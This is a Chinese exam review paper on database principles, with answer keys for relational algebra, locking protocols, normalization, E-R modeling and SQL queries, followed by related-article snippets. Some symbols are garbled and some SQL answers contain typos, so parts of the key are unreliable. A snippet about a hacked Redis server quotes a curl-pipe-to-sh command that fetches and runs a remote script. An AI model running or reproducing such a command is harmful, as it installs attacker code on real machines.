当前位置: 首页 > news >正文

数据库原理与应用期末复习试卷2

数据库原理技术与应用

一.单项选择题

  1. 设有属性A,B,C,D,以下表示中不是关系的是( C)

​ A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B)

  1. 在SQL语言中的视图VIEW是数据库的(A)。

​ A、外模式 B、模式 c、内模式 D、存储模式

  1. 事务了在修改数据R之前必须先对其加X锁,直到事务结束才释放,这是(A)

    A、一级封锁协议 B、二级封锁协议 C、三级封锁协议 D.零级封锁协议

  2. o p1 (o p2 ®)等价于( B)。

​ A、o p1 v p2 ® B、o p1 ^ p2 ® C、op1® D、op2®

  1. 在关系数据库系统中,为了简化用户的查询操作,而又不增加数据的存储空间,常用的方法是创建©。

​ A、另一个表 B、游标 C、视图 D、索引

  1. 有关系SC(S_ID,C_ID,AGE,SCORE),查找年龄大于22岁的学生的学号和分数,正确的关系代数表达式是( D)。

​ i. Πs_id,score ( o age>22(SC) )

​ ii. Π age>22 (Πs_id,score(SC) )

​ iii.Π s_id,score (o age>22 (Πs_id,score,age(SC)))

​ A、i和ii正确 B、只有ii正确 C、只有 i正确 D、i和iii正

  1. 两个原来不包含空值的关系进行左外连接运算,结果中(B)会出现空值?

    A、原来左关系的属性 B、原来右关系的属性C、左右关系的属性都会 D、左右关系的属性都不会

  2. 规定关系的所有主属性都不能取空值,是用来实现哪一类完整性约束(A)

    A、实体完整性 B、域完整性 C、参照完整性 D、用户自定义的完整性

  3. 学生关系(学号,姓名,性别,年龄,系号,系名)中,“系名”对主关键字“学号”的函数依赖是©。

​ A、完全函数依赖 B、部分函数依赖 C、传递函数依赖 D、平凡函数依赖

  1. B表字段a类型int中有100条记录,值分别为1至100。如下语句

​ SELECT a FROM B

​ WHERE a BETWEEN 1 AND 50 OR (a IN (25,70,95) AND a BETWEEN 25 AND

​ 75)

​ 则如下哪个值在这个8ql语句返回的结果集中(A)

​ A、30 B、51 C、75 D、95

  1. 事务的一致性是指(D).

​ A、事务中包括的所有操作要么都做,要么都不做

​ B、事务一旦提交,对数据库的改变是永久的

​ C、一个事务内部的操作及使用的数据对并发的其他事务是隔高的

​ D、事务必须是使数据库从一个一致性状态变到另一个一致性状态

  1. 数据库系统由(D)组成。

​ A、数据库及其必备的硬件系统

​ B、数据库及相应的硬件、软件系统

​ C、数据库及相应的软件系统

​ D、数据库及相应的硬件、软件系统和各类相关人员

  1. 下述哪一条是并发控制的主要方法(B)。

​ A、授权 B、封锁 C、日志 D、索引

14 .在关系R中,U是主码,X是一个属性集,如果X→U,那么X是一个(B)

​ A、候选码 B、超码 C、主码 D、外部码

  1. 员工表staff表结构如下:

​ staffNO varchar2(10),

​ Email varchar2(50)

​ 哪一个SQL语句查询出没有E_mail地址的员工号 ©

​ A.select staffno from Staff where Emai = NULL

​ B. select staffno from Staff where Email NULL

​ C. select staffno from Staff where Email is mull

​ D.select staffno from Staff where Email is not mull

  1. 不属于视图的优点是(A)

​ A、视图能够加快查询的速度 B、视图使用户能以多种角度看待同一数据

​ C、视图对重构数据库提供了一定程度的逻辑独立性

​ D、视图能够对机密数据提供安全保护

  1. 关系数据库规范化是为了解决关系数据库中( A)的问题而引入的。

​ A、插入、删除异常和数据冗余 B、提高查询速度

​ C、减少数据操作的复杂性 D、保证数据的安全性和完整性

  1. 已知表T1中有2行数据 ,T2中有3行数据,执行SQL语句“select a,* from T1 a,T2 b”后,返回的行数为(D)。

​ A、2行 B.3行 C、5行 D、6行

  1. 数据库恢复的基础是利用转储的冗余数据,这些转储的冗余数据包括(C)

​ A、数据字典,应用程序,审计档案,数据库后备副本

​ B.数据字典,应用程序,审计档案,日志文件

​ C、日志文件,数据库后备副本

​ D. 数据字典,应用程序,数据库后备副本

  1. 关于索引(index)的说法哪些是错误?(A)

​ A、创建索引能提高数据插入的性能

​ B、索引应该根据具体的检索需求来创建,在选择性好的列上创建索引

​ C、索引并非越多越好

​ D、建立富引可使检索操作更迅速


二.判断题

  1. 超码一定是候选码。(X)

  2. 遵守两段锁协议的调度一定是可串行化调度。(√)

  3. 在关系数据库中,用主码来保证参照完整性。(X)

  4. 单码的1NF一定是 2NF。(√)

  5. 自然连接要求相等的分量必须有共同的属性名,等值连接则不要求。(√)

  6. 遵守三级封锁协议不一定遵守两段锁协议。(×)

  7. 基本的关系运算是:并、交、积、选择、投影。(×)

  8. UPDATE语句是用来修改表结构的,ALTER 语句是用来修改表中数据的。(X)


三.填空题

  1. 并发操作带来的数据不一致性包括三类:(丢失修改)、(读“脏”数据 )和(不可重复读)

  2. 一般地,当删除被参照关系的某个元组,而参照关系存在若干元组,其外码值与被参照关系删除元组的主码值相同,这时可有三种不同的策略:(级联删除)、受限删除、置空值删除。

  3. 存在两个结构相同的数据库表T1(col1,co12,co13)、T2(col1,co12,col3).写出相应SQL语句将所有T1数据导入到T2表(insert into T2 select * from T1

  4. 在数据库的三级模式体系结构中,模式与内模式之间的映象(模式/内模式),实现了数据库的(物理)独立性。

  5. 在关系A(S, SN, D)和B(D,CN,NM)中,A的主健是S,B的主键是D,则D在A中称为(外码).

  6. 设有关系模式R(U,F),其中U=(A,B,C,D,E); F=(AB→C,B→D,C→E,EC→B,AC一B):那么(AB)~为(ABCDE),

  7. (日志)是用来记录事务对数据库的更新操作的文件。

  8. 在SQL语言中,为了数据库的安全性,设置了对数据的存取进行控制的语句,对用户授权使用(GRANT)语句,收回所授的权限使用(REVOKE)语句。如果想让授权的用户,也可以将这些权限转授给其他用户,需要选项( WITH GRANT OPTION)。

  9. 系统故障可能会造成数据库处于不一致状态:一是未完成事务对数据库更新可能已写入数据库;二是已提交事务对数据库的更新可能还留在缓冲没来得及写入数据库。因此恢复操作就是要(撤销UNDO)故障发生时未完


四.分析与应用题

  1. R(U,F) U=(A,B,C,D ) F= (D->B,B->D, AC->D)

​ (1)分析关系R的候选码为?

​ (2)分析是否属于2NF范式?关系是否属于3NF范式?需分析

​ (3)如果关系不是3NF,将其规范到3NF

  1. 某社商业集团数据库中有3个实体集:

​ “商店”实体集,属性有商店编号、商店名、地址:

​ “商品”实体集,属性有商品号、商品名,规格、单价:

​ “职工”实体集,属性有职工编号、姓名、性别、业绩。

​ 商店与商品之间存在“销售”联系,每个商店可销售多种商品,每中商品也可以放在多个商店销售,每个商店销 售的一种商品有月销售量:商店与职工之网存在“聘用”联系,每个商店有许多职工,每个职工只能在一个商店 工作

​ (1)设计满是上述要求的E-R图。(4分)

​ (2)将你的E-R图转化为关系模型,并指出关系的主键和外键。(4分)

​ 商店(商店编号,商店名,地址) 商店编号为主码

​ 职工(职工编号,姓名,性别,业绩,商店编号,聘期,工资)职工编号为主码,商店编号为外码

​ 商品(商品号,商品名,规格,单价)商品号为主码

​ 销售(商店编号,商品号,月销售量)商店编号+商品编号为主码


五.请用SQL语句完成以下操作

现有关系数据库如下:

Student(Sno,Sname,Sex, Age,City, Class) 学生关系,以上属性含义为;学号,姓名,性别,年龄,籍贯,所在班级

Course(Cno,Cname, Grade, Tno)课程关系,以上性含义为:课程程名,开设年级,任课教师号

Teacher(Tno,Tname, Age, City)教师关系,以上属性含义为:教师号,教师名,年龄,籍贯

SC(Sno, Cno, Score)选修关系,以上属性含义为:学号,课程号,成绩

  1. 试写出学生关系Student创建的SQL语句,在创建时给学生关系Student添加约束;学号为主键;性别的默认值为“男”;学生的年龄必须大于13岁

    create table Student(

    Sno char(10) primary key,

    Sname char(10),

    Sex char(2) default ‘男’

    Age int check(age>13),

    City char(20),

    Class char(20)

  2. 删除Course的某些记录,条件为“李梅”老师负责授课的课程。

    delete from Course where Tno = (select Tno from T where Tname = ‘李梅’)

  3. 修改SC的某些成绩,条件为课程名为“数据库”的所有成绩增加5分。

    update SC set Score = Sscore+5 where cno = (select cno from Course where Cname=‘数据库’)

  4. 查询哪些学生的考试平均成绩高于全体学生的平均成绩,列出这些学生的学号、姓名、平均成绩。

    select student.sno,sname,avg(score) from student join sc on student.sno=sc.sno

    group by student.sno,sname

    having avg(score)>(select avg (score) from sc)

  5. 哪些学生的籍贯与教师李梅的籍贯相同。列出这些学生的学号、姓名、籍贯。

    select student.sno,sname,city from student where city = (select city from t where tname = ‘李梅’)


相关文章:

数据库原理与应用期末复习试卷2

数据库原理技术与应用 一.单项选择题 设有属性A,B,C,D,以下表示中不是关系的是( C) ​ A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B) 在SQL语言中的视图VIEW是数据库的(A)…...

操作系统丨单元测试

文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是(D)。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以(D)为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

tcp/ip协议2实现的插图,数据结构6 (24 - 章)

(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

Linux链接的创建,删除,修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例: android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK,实现app流量变现 Ability页面的生命周期 学习前端,第一步最重要的是要理解,页面启动和不同场景下的生命周期的…...

【Flink 从入门到成神系列 一】算子

👏作者简介:大家好,我是爱敲代码的小黄,阿里巴巴淘天Java开发工程师,CSDN博客专家📕系列专栏:Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题,一套可能的研究总体方案: 问题定义与建模: 确定研究的具体范围和目标,包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型(MDP&#xff09…...

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中,背景多数分为:颜色或写实图片两种。 颜色很好理解,大多以深色底为主。强调一种神秘感和沉稳感,同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用,就要求其…...

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

Android 实现动态申请各项权限

在Android应用中&#xff0c;如果需要使用一些敏感的权限&#xff08;例如相机、位置等&#xff09;&#xff0c;需要经过用户的授权才能访问。在Android 6.0&#xff08;API级别23&#xff09;及以上的版本中&#xff0c;引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】

题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 输入&#xff1a;l1 [], l2 [] 输出&#xff1a;[] 输入&#xff1a;l1 []…...

安全与认证Week3 Tutorial+历年题补充

目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证&#xff0c;为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...

【Kotlin】协程

Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中&#xff0c;笔者发现很多异步或者耗时的操作&#xff0c;都使用了Kotlin中的协程&#xff0c;所以特地研究了一番。 定义 关于协程&#xff08;Coroutine&#xff09;&#xff0c;其实…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…...

内存分配函数malloc kmalloc vmalloc

内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

应用升级/灾备测试时使用guarantee 闪回点迅速回退

1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间&#xff0c; 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点&#xff0c;不需要开启数据库闪回。…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

【论文笔记】若干矿井粉尘检测算法概述

总的来说&#xff0c;传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度&#xff0c;通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

AI编程--插件对比分析:CodeRider、GitHub Copilot及其他

AI编程插件对比分析&#xff1a;CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展&#xff0c;AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者&#xff0c;分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制

在数字化浪潮席卷全球的今天&#xff0c;数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具&#xff0c;在大规模数据获取中发挥着关键作用。然而&#xff0c;传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时&#xff0c;常出现数据质…...

【生成模型】视频生成论文调研

工作清单 上游应用方向&#xff1a;控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...